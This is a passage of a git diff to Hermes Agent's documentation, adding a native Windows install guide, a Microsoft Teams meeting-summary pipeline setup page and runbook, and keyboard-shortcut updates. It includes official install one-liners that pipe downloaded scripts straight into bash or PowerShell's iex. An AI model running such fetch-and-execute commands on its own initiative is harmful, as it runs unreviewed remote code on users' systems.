(exactly when users need the installer to just work). The portable MinGit approach sidesteps winget, the Windows installer registry, and any existing system Git entirely. If the Hermes Git install itself ever breaks, `Remove-Item %LOCALAPPDATA%\hermes\git` and re-run the installer — no system impact, no uninstall drama. + +The installer also sets `HERMES_GIT_BASH_PATH` to the located `bash.exe` so Hermes resolves it deterministically in fresh shells. + +If you prefer WSL2, the Linux installer above works inside it; both native and WSL installs can coexist without conflict (native data lives under `%LOCALAPPDATA%\hermes`, WSL data lives under `~/.hermes`). + ### Android / Termux Hermes now ships a Termux-aware installer path too: @@ -42,12 +66,6 @@ The installer detects Termux automatically and switches to a tested Android flow If you want the fully explicit path, follow the dedicated [Termux guide](./termux.md). -:::warning Windows -Native Windows for the **CLI installer path** is still not supported. Please install [WSL2](https://learn.microsoft.com/en-us/windows/wsl/install) and run Hermes Agent from there if you want the CLI flow. - -For native Windows, use the desktop installers from [GitHub Releases](https://github.com/NousResearch/hermes-agent/releases/latest). -::: - ### What the Installer Does The installer handles everything automatically — all dependencies (Python, Node.js, ripgrep, ffmpeg), the repo clone, virtual environment, global `hermes` command setup, and LLM provider configuration. By the end, you're ready to chat. diff --git a/website/docs/getting-started/quickstart.md b/website/docs/getting-started/quickstart.md index f7f18b99dd9..f3a8a29ce86 100644 --- a/website/docs/getting-started/quickstart.md +++ b/website/docs/getting-started/quickstart.md @@ -209,7 +209,7 @@ Type `/` to see an autocomplete dropdown of all commands: ### Multi-line input -Press `Alt+Enter` or `Ctrl+J` to add a new line. Great for pasting code or writing detailed prompts. +Press `Alt+Enter`, `Ctrl+J`, or `Shift+Enter` to add a new line. `Shift+Enter` requires a terminal that sends it as a distinct sequence (Kitty / foot / WezTerm / Ghostty by default; iTerm2 / Alacritty / VS Code terminal once the Kitty keyboard protocol is enabled). `Alt+Enter` and `Ctrl+J` work in every terminal. ### Interrupt the agent diff --git a/website/docs/guides/operate-teams-meeting-pipeline.md b/website/docs/guides/operate-teams-meeting-pipeline.md new file mode 100644 index 00000000000..1e32e74c1a7 --- /dev/null +++ b/website/docs/guides/operate-teams-meeting-pipeline.md @@ -0,0 +1,277 @@ +--- +title: "Operate the Teams Meeting Pipeline" +description: "Runbook, go-live checklist, and operator worksheet for the Microsoft Teams meeting pipeline" +--- + +# Operate the Teams Meeting Pipeline + +Use this guide after you have already enabled the feature from [Teams Meetings](/docs/user-guide/messaging/teams-meetings). + +This page covers: +- operator CLI flows +- routine subscription maintenance +- failure triage +- go-live checks +- rollout worksheet + +## Core Operator Commands + +### Validate the config snapshot + +```bash +hermes teams-pipeline validate +``` + +Use this first after any config change. + +### Inspect token health + +```bash +hermes teams-pipeline token-health +hermes teams-pipeline token-health --force-refresh +``` + +Use `--force-refresh` when you suspect stale auth state. + +### Inspect subscriptions + +```bash +hermes teams-pipeline subscriptions +``` + +### Renew near-expiry subscriptions + +```bash +hermes teams-pipeline maintain-subscriptions +hermes teams-pipeline maintain-subscriptions --dry-run +``` + +### Automating subscription renewal (REQUIRED for production) + +**Microsoft Graph subscriptions expire in at most 72 hours.** If nothing renews them, meeting notifications silently stop after 3 days and the pipeline looks "broken." This is the #1 operational failure mode for any Graph-backed integration. + +You MUST run `maintain-subscriptions` on a schedule. Pick one of these three options: + +#### Option 1: Hermes cron (recommended if you already run the Hermes gateway) + +Hermes ships a built-in cron scheduler. Add a script-only cron job that runs every 12 hours (gives 6x headroom against the 72h expiry window): + +```bash +hermes cron add \ + --name "teams-pipeline-maintain-subscriptions" \ + --schedule "0 */12 * * *" \ + --script-only \ + --command "hermes teams-pipeline maintain-subscriptions" +``` + +Verify it was registered and inspect the next run time: + +```bash +hermes cron list +hermes cron show teams-pipeline-maintain-subscriptions +``` + +#### Option 2: systemd timer (recommended for Linux production deployments) + +Create `/etc/systemd/system/hermes-teams-pipeline-maintain.service`: + +```ini +[Unit] +Description=Hermes Teams pipeline subscription maintenance +After=network-online.target + +[Service] +Type=oneshot +User=hermes +EnvironmentFile=/etc/hermes/env +ExecStart=/usr/local/bin/hermes teams-pipeline maintain-subscriptions +``` + +And `/etc/systemd/system/hermes-teams-pipeline-maintain.timer`: + +```ini +[Unit] +Description=Run Hermes Teams pipeline subscription maintenance every 12 hours + +[Timer] +OnBootSec=5min +OnUnitActiveSec=12h +Persistent=true + +[Install] +WantedBy=timers.target +``` + +Enable: + +```bash +sudo systemctl daemon-reload +sudo systemctl enable --now hermes-teams-pipeline-maintain.timer +systemctl list-timers hermes-teams-pipeline-maintain.timer +``` + +#### Option 3: Plain crontab + +```cron +0 */12 * * * /usr/local/bin/hermes teams-pipeline maintain-subscriptions >> /var/log/hermes/teams-pipeline-maintain.log 2>&1 +``` + +Make sure the cron environment has the `MSGRAPH_*` credentials. Simplest fix: source `~/.hermes/.env` at the top of a wrapper script that crontab calls. + +#### Verifying renewal is working + +After you've set up the schedule, check renewal activity after the first scheduled run: + +```bash +hermes teams-pipeline subscriptions # should show expirationDateTime advanced +hermes teams-pipeline maintain-subscriptions --dry-run # should show "0 expiring soon" most of the time +``` + +If you ever see your Graph webhook mysteriously "stop working" after exactly ~72 hours, this is the first thing to check: did the renewal job actually run? + +### Inspect recent jobs + +```bash +hermes teams-pipeline list +hermes teams-pipeline list --status failed +hermes teams-pipeline show +``` + +### Replay a stored job + +```bash +hermes teams-pipeline run +``` + +### Dry-run meeting artifact fetches + +```bash +hermes teams-pipeline fetch --meeting-id +hermes teams-pipeline fetch --join-web-url "" +``` + +## Routine Runbook + +### After first setup + +Run these in order: + +```bash +hermes teams-pipeline validate +hermes teams-pipeline token-health --force-refresh +hermes teams-pipeline subscriptions +``` + +Then trigger or wait for a real meeting event and confirm: + +```bash +hermes teams-pipeline list +hermes teams-pipeline show +``` + +### Daily or periodic checks + +- run `hermes teams-pipeline maintain-subscriptions --dry-run` +- inspect `hermes teams-pipeline list --status failed` +- verify the Teams delivery target is still the correct chat or channel + +### Before changing webhook URLs or delivery targets + +- update the public notification URL or Teams target config +- run `hermes teams-pipeline validate` +- renew or recreate affected subscriptions +- confirm new events land in the expected sink + +## Failure Triage + +### No jobs are being created + +Check: +- `msgraph_webhook` is enabled +- the public notification URL points to `/msgraph/webhook` +- the client state in the subscription matches `MSGRAPH_WEBHOOK_CLIENT_STATE` +- subscriptions still exist remotely and are not expired + +### Jobs stay in retry or fail before summarization + +Check: +- transcript permissions and availability +- recording permissions and artifact availability +- `ffmpeg` availability if recording fallback is enabled +- Graph token health + +### Summaries are produced but not delivered to Teams + +Check: +- `platforms.teams.enabled: true` +- `delivery_mode` +- `incoming_webhook_url` for webhook mode +- `chat_id` or `team_id` plus `channel_id` for Graph mode +- Teams auth config if Graph posting is used + +### Duplicate or unexpected replays + +Check: +- whether you manually replayed a job with `hermes teams-pipeline run` +- whether the sink record already exists for that meeting +- whether you intentionally enabled a resend path in your local config + +## Go-Live Checklist + +- [ ] Graph credentials are present and correct +- [ ] `msgraph_webhook` is enabled and reachable from the public internet +- [ ] `MSGRAPH_WEBHOOK_CLIENT_STATE` is set and matches subscriptions +- [ ] transcript subscription is created +- [ ] recording subscription is created if STT fallback is required +- [ ] `ffmpeg` is installed if recording fallback is enabled +- [ ] Teams outbound delivery target is configured and verified +- [ ] Notion and Linear sinks are configured only if actually needed +- [ ] `hermes teams-pipeline validate` returns an OK snapshot +- [ ] `hermes teams-pipeline token-health --force-refresh` succeeds +- [ ] **`maintain-subscriptions` is scheduled** (Hermes cron, systemd timer, or crontab — see [Automating subscription renewal](#automating-subscription-renewal-required-for-production)). Without this, Graph subscriptions silently expire within 72 hours. +- [ ] a real end-to-end meeting event has produced a stored job +- [ ] at least one summary has reached the intended delivery sink + +## Delivery-Mode Decision Guide + +| Mode | Use when | Tradeoff | +|------|----------|----------| +| `incoming_webhook` | you only need simple posting into Teams | simplest setup, less control | +| `graph` | you need channel or chat posting through Graph | more control, more auth and target config | + +## Operator Worksheet + +Fill this out before rollout: + +| Item | Value | +|------|-------| +| Public notification URL | | +| Graph tenant ID | | +| Graph client ID | | +| Webhook client state | | +| Transcript resource subscription | | +| Recording resource subscription | | +| Teams delivery mode | | +| Teams chat ID or team/channel | | +| Notion database ID | | +| Linear team ID | | +| Store path override, if any | | +| Owner for daily checks | | + +## Change Review Worksheet + +Use this before changing the deployment: + +| Question | Answer | +|----------|--------| +| Are we changing the public webhook URL? | | +| Are we rotating Graph credentials? | | +| Are we changing Teams delivery mode? | | +| Are we moving to a new Teams chat or channel? | | +| Do subscriptions need to be recreated or renewed? | | +| Do we need a fresh end-to-end verification run? | | + +## Related Docs + +- [Teams Meetings setup](/docs/user-guide/messaging/teams-meetings) +- [Microsoft Teams bot setup](/docs/user-guide/messaging/teams) diff --git a/website/docs/guides/tips.md b/website/docs/guides/tips.md index 4d21b73579c..b8f140bd488 100644 --- a/website/docs/guides/tips.md +++ b/website/docs/guides/tips.md @@ -36,7 +36,7 @@ Before writing a long prompt explaining how to do something, check if there's al ### Multi-Line Input -Press **Alt+Enter** (or **Ctrl+J**) to insert a newline without sending. This lets you compose multi-line prompts, paste code blocks, or structure complex requests before hitting Enter to send. +Press **Alt+Enter**, **Ctrl+J**, or **Shift+Enter** to insert a newline without sending. `Shift+Enter` only works when the terminal sends it as a distinct keystroke (Kitty / foot / WezTerm / Ghostty by default; iTerm2 / Alacritty / VS Code terminal once the Kitty keyboard protocol is enabled). The other two work in every terminal. ### Paste Detection diff --git a/website/docs/index.md b/website/docs/index.md index 5baa3cc4997..b0a11caf353 100644 --- a/website/docs/index.md +++ b/website/docs/index.md @@ -17,6 +17,24 @@ The self-improving AI agent built by [Nous Research](https://nousresearch.com). View on GitHub +## Install + +**Linux / macOS / WSL2** + +```bash +curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh | bash +``` + +**Windows (native, PowerShell)** — *early beta, [details →](/docs/user-guide/windows-native)* + +```powershell +irm https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.ps1 | iex +``` + +**Android (Termux)** — same curl one-liner as Linux; the installer auto-detects Termux. + +See the full **[Installation Guide](/docs/getting-started/installation)** for what the installer does, the per-user vs root layout, and Windows-specific notes. + ## What is Hermes Agent? It's not a coding copilot tethered to an IDE or a chatbot wrapper around a single API. It's an **autonomous agent** that gets more capable the longer it runs. It lives wherever you put it — a $5 VPS, a GPU cluster, or serverless infrastructure (Daytona, Modal) that costs nearly nothing when idle. Talk to it from Telegram while it works on a cloud VM you never SSH into yourself. It's not tied to your laptop. @@ -25,9 +43,7 @@ It's not a coding copilot tethered to an IDE or a chatbot wrapper around a singl | | | |---|---| -| 🚀 **[Installation](/docs/getting-started/installation)** | Install in 60 seconds on Linux, macOS, or WSL2 | -| 💻 **[Desktop Downloads](https://github.com/NousResearch/hermes-agent/releases/latest)** | Signed macOS and Windows installers from GitHub Releases (stable channel) | -| 🌙 **[Desktop Nightly](https://github.com/NousResearch/hermes-agent/releases/tag/desktop-nightly)** | Rolling prerelease builds from `main` for early testing | +| 🚀 **[Installation](/docs/getting-started/installation)** | Install in 60 seconds on Linux, macOS, WSL2, or native Windows (early beta) | | 📖 **[Quickstart Tutorial](/docs/getting-started/quickstart)** | Your first conversation and key features to try | | 🗺️ **[Learning Path](/docs/getting-started/learning-path)** | Find the right docs for your experience level | | ⚙️ **[Configuration](/docs/user-guide/configuration)** | Config file, providers, models, and options | diff --git a/website/docs/reference/environment-variables.md b/website/docs/reference/environment-variables.md index ff4ad11a2e0..b82b385f50f 100644 --- a/website/docs/reference/environment-variables.md +++ b/website/docs/reference/environment-variables.md @@ -92,6 +92,8 @@ All variables go in `~/.hermes/.env`. You can also set them with `hermes config | `HERMES_LOCAL_STT_COMMAND` | Optional local speech-to-text command template. Supports `{input_path}`, `{output_dir}`, `{language}`, and `{model}` placeholders | | `HERMES_LOCAL_STT_LANGUAGE` | Default language passed to `HERMES_LOCAL_STT_COMMAND` or auto-detected local `whisper` CLI fallback (default: `en`) | | `HERMES_HOME` | Override Hermes config directory (default: `~/.hermes`). Also scopes the gateway PID file and systemd service name, so multiple installations can run concurrently | +| `HERMES_GIT_BASH_PATH` | **Windows only.** Override `bash.exe` discovery for the terminal tool. Points at any bash — full Git-for-Windows install, WSL bash via symlink, MSYS2, Cygwin. The installer sets this automatically to the PortableGit it provisioned. See the [Windows (Native) Guide](../user-guide/windows-native.md#how-hermes-runs-shell-commands-on-windows) | +| `HERMES_DISABLE_WINDOWS_UTF8` | **Windows only.** Set to `1` to disable the UTF-8 stdio shim (`configure_windows_stdio()`) and fall back to the console's locale code page. Useful for bisecting encoding bugs; rarely the right setting in normal operation | | `HERMES_KANBAN_HOME` | Override the shared Hermes root that anchors the kanban board (db + workspaces + worker logs). Falls back to `get_default_hermes_root()` (the parent of any active profile). Useful for tests and unusual deployments | | `HERMES_KANBAN_BOARD` | Pin the active kanban board for this process. Takes precedence over `~/.hermes/kanban/current`; the dispatcher injects this into worker subprocess env so workers physically cannot see tasks on other boards. Defaults to `default`. Slug validation: lowercase alphanumerics + hyphens + underscores, 1-64 chars | | `HERMES_KANBAN_DB` | Pin the kanban database file path directly (highest precedence; beats `HERMES_KANBAN_BOARD` and `HERMES_KANBAN_HOME`). The dispatcher injects this into worker subprocess env so profile workers converge on the dispatcher's board | diff --git a/website/docs/user-guide/cli.md b/website/docs/user-guide/cli.md index be92044fc56..d7f41d7df84 100644 --- a/website/docs/user-guide/cli.md +++ b/website/docs/user-guide/cli.md @@ -92,7 +92,7 @@ When resuming a previous session (`hermes -c` or `hermes --resume `), a "Pre | Key | Action | |-----|--------| | `Enter` | Send message | -| `Alt+Enter` or `Ctrl+J` | New line (multi-line input) | +| `Alt+Enter`, `Ctrl+J`, or `Shift+Enter` | New line (multi-line input). `Shift+Enter` requires a terminal that distinguishes it from `Enter` — see below. On Windows Terminal, `Alt+Enter` is captured by the terminal (fullscreen toggle); use `Ctrl+Enter` or `Ctrl+J` instead. | | `Alt+V` | Paste an image from the clipboard when supported by the terminal | | `Ctrl+V` | Paste text and opportunistically attach clipboard images | | `Ctrl+B` | Start/stop voice recording when voice mode is enabled (`voice.record_key`, default: `ctrl+b`) | @@ -204,7 +204,7 @@ personalities: There are two ways to enter multi-line messages: -1. **`Alt+Enter` or `Ctrl+J`** — inserts a new line +1. **`Alt+Enter`, `Ctrl+J`, or `Shift+Enter`** — inserts a new line 2. **Backslash continuation** — end a line with `\` to continue: ``` @@ -214,9 +214,22 @@ There are two ways to enter multi-line messages: ``` :::info -Pasting multi-line text is supported — use `Alt+Enter` or `Ctrl+J` to insert newlines, or simply paste content directly. +Pasting multi-line text is supported — use any of the newline keys above, or simply paste content directly. ::: +### Shift+Enter compatibility + +Most terminals send the same byte sequence for `Enter` and `Shift+Enter` by default, so applications cannot distinguish them. Hermes recognises `Shift+Enter` only when the terminal sends a distinct sequence via the [Kitty keyboard protocol](https://sw.kovidgoyal.net/kitty/keyboard-protocol/) or xterm's `modifyOtherKeys` mode. + +| Terminal | Status | +|---|---| +| Kitty, foot, WezTerm, Ghostty | Distinct `Shift+Enter` enabled by default | +| iTerm2 (recent), Alacritty, VS Code terminal, Warp | Supported once the Kitty protocol is enabled in settings | +| Windows Terminal Preview 1.25+ | Supported once the Kitty protocol is enabled in settings | +| macOS Terminal.app, stock Windows Terminal (stable) | Not supported — `Shift+Enter` is indistinguishable from `Enter` | + +Where the terminal cannot distinguish them, `Alt+Enter` and `Ctrl+J` continue to work everywhere. **On Windows Terminal specifically, `Alt+Enter` is captured by the terminal (toggles fullscreen) and never reaches Hermes — use `Ctrl+Enter` (delivered as `Ctrl+J`) or `Ctrl+J` directly for a newline.** + ## Interrupting the Agent You can interrupt the agent at any point: diff --git a/website/docs/user-guide/features/web-dashboard.md b/website/docs/user-guide/features/web-dashboard.md index 46666667027..6b8c0db9c91 100644 --- a/website/docs/user-guide/features/web-dashboard.md +++ b/website/docs/user-guide/features/web-dashboard.md @@ -80,7 +80,7 @@ The **Chat** tab embeds the full Hermes TUI (the same interface you get from `he - Node.js (same requirement as `hermes --tui`; the TUI bundle is built on first launch) - `ptyprocess` — installed by the `pty` extra (`pip install 'hermes-agent[web,pty]'`, or `[all]` covers both) -- POSIX kernel (Linux, macOS, or WSL). Native Windows Python is not supported — use WSL. +- POSIX kernel (Linux, macOS, or WSL2). The `/chat` terminal pane specifically needs a POSIX PTY — native Windows Python has no equivalent, so on a native Windows install the rest of the dashboard (sessions, jobs, metrics, config editor) works but the `/chat` tab will show a banner telling you to use WSL2 for that feature. Close the browser tab and the PTY is reaped cleanly on the server. Re-opening spawns a fresh session. diff --git a/website/docs/user-guide/messaging/index.md b/website/docs/user-guide/messaging/index.md index 866fcc1d335..24970ac235d 100644 --- a/website/docs/user-guide/messaging/index.md +++ b/website/docs/user-guide/messaging/index.md @@ -427,5 +427,6 @@ Each platform has its own toolset: - [QQBot Setup](qqbot.md) - [Yuanbao Setup](yuanbao.md) - [Microsoft Teams Setup](teams.md) +- [Teams Meetings Pipeline](teams-meetings.md) - [Open WebUI + API Server](open-webui.md) -- [Webhooks](webhooks.md) \ No newline at end of file +- [Webhooks](webhooks.md) diff --git a/website/docs/user-guide/messaging/teams-meetings.md b/website/docs/user-guide/messaging/teams-meetings.md new file mode 100644 index 00000000000..825b2da5b14 --- /dev/null +++ b/website/docs/user-guide/messaging/teams-meetings.md @@ -0,0 +1,233 @@ +--- +sidebar_position: 6 +title: "Teams Meetings" +description: "Set up the Microsoft Teams meeting summary pipeline with Microsoft Graph webhooks" +--- + +# Microsoft Teams Meetings + +Use the Teams meeting pipeline when you want Hermes to ingest Microsoft Graph meeting events, fetch transcripts first, fall back to recordings plus STT when needed, and deliver a structured summary to downstream sinks. + +This page focuses on setup and enablement: +- Graph credentials +- webhook listener configuration +- Teams delivery modes +- pipeline config shape + +For day-2 operations, go-live checks, and the operator worksheet, use the dedicated guide: [Operate the Teams Meeting Pipeline](/docs/guides/operate-teams-meeting-pipeline). + +## What This Feature Does + +The pipeline: +1. receives Microsoft Graph webhook events +2. resolves the meeting and prefers transcript artifacts first +3. falls back to recording download plus STT when no usable transcript is available +4. stores durable job state and sink records locally +5. can write summaries to Notion, Linear, and Microsoft Teams + +Operator actions stay in the CLI: + +```bash +hermes teams-pipeline validate +hermes teams-pipeline list +hermes teams-pipeline maintain-subscriptions +``` + +## Prerequisites + +Before enabling the meetings pipeline, make sure you have: + +- a working Hermes install +- the existing [Microsoft Teams bot setup](/docs/user-guide/messaging/teams) if you want Teams outbound delivery +- Microsoft Graph application credentials with the permissions required for the meeting resources you plan to subscribe to +- a public HTTPS URL that Microsoft Graph can call for webhook delivery +- `ffmpeg` installed if you want recording-plus-STT fallback + +## Step 1: Add Microsoft Graph Credentials + +Add Graph app-only credentials to `~/.hermes/.env`: + +```bash +MSGRAPH_TENANT_ID= +MSGRAPH_CLIENT_ID= +MSGRAPH_CLIENT_SECRET= +``` + +These credentials are used by: +- the Graph client foundation +- subscription maintenance commands +- meeting resolution and artifact fetches +- Graph-based Teams outbound delivery when you do not provide a dedicated Teams access token + +## Step 2: Enable the Graph Webhook Listener + +The webhook listener is a gateway platform named `msgraph_webhook`. At minimum, enable it and set a client state value: + +```bash +MSGRAPH_WEBHOOK_ENABLED=true +MSGRAPH_WEBHOOK_PORT=8646 +MSGRAPH_WEBHOOK_CLIENT_STATE= +MSGRAPH_WEBHOOK_ACCEPTED_RESOURCES=communications/onlineMeetings +``` + +The listener exposes: +- `/msgraph/webhook` for Graph notifications +- `/health` for a simple health check + +You need to route your public HTTPS endpoint to that listener. For example, if your public domain is `https://ops.example.com`, your Graph notification URL would typically be: + +```text +https://ops.example.com/msgraph/webhook +``` + +## Step 3: Configure Teams Delivery and Pipeline Behavior + +The meeting pipeline reads its runtime config from the existing `teams` platform entry. Pipeline-specific knobs live under `teams.extra.meeting_pipeline`. Teams outbound delivery stays on the normal Teams platform config surface. + +Example `~/.hermes/config.yaml`: + +```yaml +platforms: + msgraph_webhook: + enabled: true + extra: + port: 8646 + client_state: "replace-me" + accepted_resources: + - "communications/onlineMeetings" + + teams: + enabled: true + extra: + client_id: "your-teams-client-id" + client_secret: "your-teams-client-secret" + tenant_id: "your-teams-tenant-id" + + # outbound summary delivery + delivery_mode: "graph" # or incoming_webhook + team_id: "team-id" + channel_id: "channel-id" + # incoming_webhook_url: "https://..." + + meeting_pipeline: + transcript_min_chars: 80 + transcript_required: false + transcription_fallback: true + ffmpeg_extract_audio: true + notion: + enabled: false + linear: + enabled: false +``` + +## Teams Delivery Modes + +The pipeline supports two Teams summary-delivery modes inside the existing Teams plugin. + +### `incoming_webhook` + +Use this when you want a simple webhook post into Teams without channel-message creation through Graph. + +Required config: + +```yaml +platforms: + teams: + enabled: true + extra: + delivery_mode: "incoming_webhook" + incoming_webhook_url: "https://..." +``` + +### `graph` + +Use this when you want Hermes to post the summary through Microsoft Graph into a Teams chat or channel. + +Supported targets: +- `chat_id` +- `team_id` + `channel_id` +- `team_id` + `home_channel` fallback for the existing Teams platform + +Example: + +```yaml +platforms: + teams: + enabled: true + extra: + delivery_mode: "graph" + team_id: "team-id" + channel_id: "channel-id" +``` + +## Step 4: Start the Gateway + +Start Hermes normally after updating config: + +```bash +hermes gateway run +``` + +Or, if you run Hermes in Docker, start the gateway the same way you already do for your deployment. + +Check the listener: + +```bash +curl http://localhost:8646/health +``` + +## Step 5: Create Graph Subscriptions + +Use the plugin CLI to create and inspect subscriptions. + +Examples: + +```bash +hermes teams-pipeline subscribe \ + --resource communications/onlineMeetings/getAllTranscripts \ + --notification-url https://ops.example.com/msgraph/webhook \ + --client-state "$MSGRAPH_WEBHOOK_CLIENT_STATE" + +hermes teams-pipeline subscribe \ + --resource communications/onlineMeetings/getAllRecordings \ + --notification-url https://ops.example.com/msgraph/webhook \ + --client-state "$MSGRAPH_WEBHOOK_CLIENT_STATE" +``` + +:::warning Graph subscriptions expire in 72 hours + +Microsoft Graph caps webhook subscriptions at 72 hours and will not auto-renew them. You MUST schedule `hermes teams-pipeline maintain-subscriptions` before going live, or notifications will silently stop three days after any manual subscription creation. See [Automating subscription renewal](/docs/guides/operate-teams-meeting-pipeline#automating-subscription-renewal-required-for-production) in the operator runbook — three options (Hermes cron, systemd timer, plain crontab). + +::: + +For subscription maintenance and day-2 operator flows, continue with the guide: [Operate the Teams Meeting Pipeline](/docs/guides/operate-teams-meeting-pipeline). + +## Validation + +Run the built-in validation snapshot: + +```bash +hermes teams-pipeline validate +``` + +Useful companion checks: + +```bash +hermes teams-pipeline token-health +hermes teams-pipeline subscriptions +``` + +## Troubleshooting + +| Problem | What to check | +|---------|---------------| +| Graph webhook validation fails | Confirm the public URL is correct and reachable, and that Graph is calling the exact `/msgraph/webhook` path | +| Jobs do not appear in `hermes teams-pipeline list` | Confirm `msgraph_webhook` is enabled and that subscriptions point at the right notification URL | +| Transcript-first never succeeds | Check Graph permissions for transcript resources and whether the transcript artifact exists for that meeting | +| Recording fallback fails | Confirm `ffmpeg` is installed and the Graph app can access recording artifacts | +| Teams summary delivery fails | Re-check `delivery_mode`, target IDs, and Teams auth config | + +## Related Docs + +- [Microsoft Teams bot setup](/docs/user-guide/messaging/teams) +- [Operate the Teams Meeting Pipeline](/docs/guides/operate-teams-meeting-pipeline) diff --git a/website/docs/user-guide/messaging/teams.md b/website/docs/user-guide/messaging/teams.md index d37c9704cdb..ee90fec3bba 100644 --- a/website/docs/user-guide/messaging/teams.md +++ b/website/docs/user-guide/messaging/teams.md @@ -8,6 +8,8 @@ description: "Set up Hermes Agent as a Microsoft Teams bot" Connect Hermes Agent to Microsoft Teams as a bot. Unlike Slack's Socket Mode, Teams delivers messages by calling a **public HTTPS webhook**, so your instance needs a publicly reachable endpoint — either a dev tunnel (local dev) or a real domain (production). +Need meeting summaries from Microsoft Graph events rather than normal bot conversations? Use the dedicated setup page: [Teams Meetings](/docs/user-guide/messaging/teams-meetings). + ## How the Bot Responds | Context | Behavior | @@ -243,3 +245,8 @@ Treat `TEAMS_CLIENT_SECRET` like a password — rotate it periodically via the A - Store credentials in `~/.hermes/.env` with permissions `600` (`chmod 600 ~/.hermes/.env`) - The bot only accepts messages from users in `TEAMS_ALLOWED_USERS`; unauthorized messages are silently dropped - Your public endpoint (`/api/messages`) is authenticated by the Teams Bot Framework — requests without valid JWTs are rejected + +## Related Docs + +- [Teams Meetings](/docs/user-guide/messaging/teams-meetings) +- [Operate the Teams Meeting Pipeline](/docs/guides/operate-teams-meeting-pipeline) diff --git a/website/docs/user-guide/windows-native.md b/website/docs/user-guide/windows-native.md new file mode 100644 index 00000000000..e117ae4f9f0 --- /dev/null +++ b/website/docs/user-guide/windows-native.md @@ -0,0 +1,301 @@ +--- +title: "Windows (Native) Guide — Early Beta" +description: "Early BETA: run Hermes Agent natively on Windows 10 / 11 — install, feature matrix, UTF-8 console, Git Bash, gateway as a Scheduled Task, editor handling, PATH, uninstall, and common pitfalls" +sidebar_label: "Windows (Native) — Beta" +sidebar_position: 3 +--- + +# Windows (Native) Guide — Early Beta + +:::warning Early BETA +Native Windows support is **early beta**. It installs, runs, and passes our Windows-footgun lint, but it hasn't been road-tested at the scale our Linux/macOS/WSL2 paths have. Expect rough edges — especially around subprocess handling, path quirks, and non-ASCII console output. Please [file issues](https://github.com/NousResearch/hermes-agent/issues) with repro steps when you hit something. If you want a battle-tested setup today, use the [Linux/macOS installer under WSL2](./windows-wsl-quickstart.md) instead. +::: + +Hermes runs natively on Windows 10 and Windows 11 — no WSL, no Cygwin, no Docker. This page is the deep dive: what works natively, what's WSL-only, what the installer actually does, and the Windows-specific knobs you might need to touch. + +If you just want to install, the one-liner on the [landing page](/) or [Installation page](../getting-started/installation#windows-native-powershell--early-beta) is all you need. Come back here when something surprises you. + +:::tip Want WSL instead? +If you prefer a real POSIX environment (for the dashboard's embedded terminal, `fork` semantics, Linux-style file watchers, etc.), see the **[Windows (WSL2) Guide](./windows-wsl-quickstart.md)**. Both coexist cleanly: native data lives under `%LOCALAPPDATA%\hermes`, WSL data lives under `~/.hermes`. +::: + +## Quick install + +Open **PowerShell** (or Windows Terminal) and run: + +```powershell +irm https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.ps1 | iex +``` + +No admin rights required. The installer goes to `%LOCALAPPDATA%\hermes\` and adds `hermes` to your **User PATH** — open a new terminal after it finishes. + +**Installer options** (requires the scriptblock form to pass parameters): + +```powershell +& ([scriptblock]::Create((irm https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.ps1))) -NoVenv -SkipSetup -Branch main +``` + +| Parameter | Default | Purpose | +|---|---|---| +| `-Branch` | `main` | Clone a specific branch (useful for testing PRs) | +| `-NoVenv` | off | Skip venv creation (advanced — you manage Python yourself) | +| `-SkipSetup` | off | Skip the post-install `hermes setup` wizard | +| `-HermesHome` | `%LOCALAPPDATA%\hermes` | Override data directory | +| `-InstallDir` | `%LOCALAPPDATA%\hermes\hermes-agent` | Override code location | + +## What the installer actually does + +Top-to-bottom, in order: + +1. **Bootstraps `uv`** — Astral's fast Python manager. Installed to `%USERPROFILE%\.local\bin`. +2. **Installs Python 3.11** via `uv`. No existing Python needed. +3. **Installs Node.js 22** (winget if available, else a portable Node tarball unpacked under `%LOCALAPPDATA%\hermes\node`). Used for the browser tool and the WhatsApp bridge. +4. **Installs portable Git** — if `git` is already on PATH the installer uses it; otherwise it downloads a trimmed, self-contained **PortableGit** (~45 MB, from the official `git-for-windows` release) to `%LOCALAPPDATA%\hermes\git`. No admin, no Windows installer registry, no interference with anything else on the box. +5. **Clones the repo** to `%LOCALAPPDATA%\hermes\hermes-agent` and creates a virtualenv inside it. +6. **Tiered `uv pip install`** — tries `.[all]` first, falls back to progressively smaller sets (`[messaging,dashboard,ext]` → `[messaging]` → `.`) if a `git+https` dep flakes on rate-limited GitHub. Prevents "single flake drops you to a bare install" failure mode. +7. **Auto-installs messaging SDKs** keyed off `.env` — if `TELEGRAM_BOT_TOKEN` / `DISCORD_BOT_TOKEN` / `SLACK_BOT_TOKEN` / `SLACK_APP_TOKEN` / `WHATSAPP_ENABLED` are present, runs `python -m ensurepip --upgrade` and targeted `pip install` calls so each platform's SDK is actually importable. +8. **Sets `HERMES_GIT_BASH_PATH`** to the resolved `bash.exe` so Hermes finds it deterministically in fresh shells. +9. **Adds `%LOCALAPPDATA%\hermes\bin` to User PATH** — exposes the `hermes` command after you open a new terminal. +10. **Runs `hermes setup`** — the normal first-run wizard (model, provider, toolsets). Skip with `-SkipSetup`. + +## Feature matrix + +Everything except the dashboard's embedded terminal pane runs natively on Windows. + +| Feature | Native Windows | WSL2 | +|---|---|---| +| CLI (`hermes chat`, `hermes setup`, `hermes gateway`, …) | ✓ | ✓ | +| Interactive TUI (`hermes --tui`) | ✓ | ✓ | +| Messaging gateway (Telegram, Discord, Slack, WhatsApp, 15+ platforms) | ✓ | ✓ | +| Cron scheduler | ✓ | ✓ | +| Browser tool (Chromium via Node) | ✓ | ✓ | +| MCP servers (stdio and HTTP) | ✓ | ✓ | +| Local Ollama / LM Studio / llama-server | ✓ | ✓ (via WSL networking) | +| Web dashboard (sessions, jobs, metrics, config) | ✓ | ✓ | +| Dashboard `/chat` embedded terminal pane | ✗ (needs POSIX PTY) | ✓ | +| Auto-start at login | ✓ (schtasks) | ✓ (systemd) | + +The dashboard's `/chat` tab embeds a real terminal via a POSIX PTY (`ptyprocess`). Native Windows has no equivalent primitive; Python's `pywinpty` / Windows ConPTY would work but is a separate implementation — treat as future work. **The rest of the dashboard works natively** — only that one tab shows a "use WSL2 for this" banner. + +## How Hermes runs shell commands on Windows + +Hermes's terminal tool runs commands through **Git Bash**, same strategy Claude Code uses. This sidesteps the POSIX-vs-Windows gap without rewriting every tool. + +Resolution order for `bash.exe`: + +1. 